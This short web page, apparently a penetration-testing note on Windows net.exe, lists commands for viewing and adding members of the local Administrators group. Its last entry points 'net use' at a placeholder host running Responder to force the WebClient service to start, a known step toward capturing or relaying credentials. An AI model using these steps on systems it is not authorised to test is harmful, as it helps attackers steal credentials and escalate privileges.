Skip to main content

net.exe

Very helpful in the Windows world for mapping drives, changing local/domain group memberships, and much more!

List local administrators on a box

net localgroup Administrators

Add user to the local administrator group

net localgroup Administrators john.doe /add

Add DOMAIN user to the local admin group

net localgroup Administrators "DOMAIN\username" /add

Connect to a running instance of Responder to force the local system to start WebClient service

net use x: http://IP.THATS.RUNNING.RESPONDER/ /user:doesntmatter passworddoesntmatter

Source:thehackerrecipes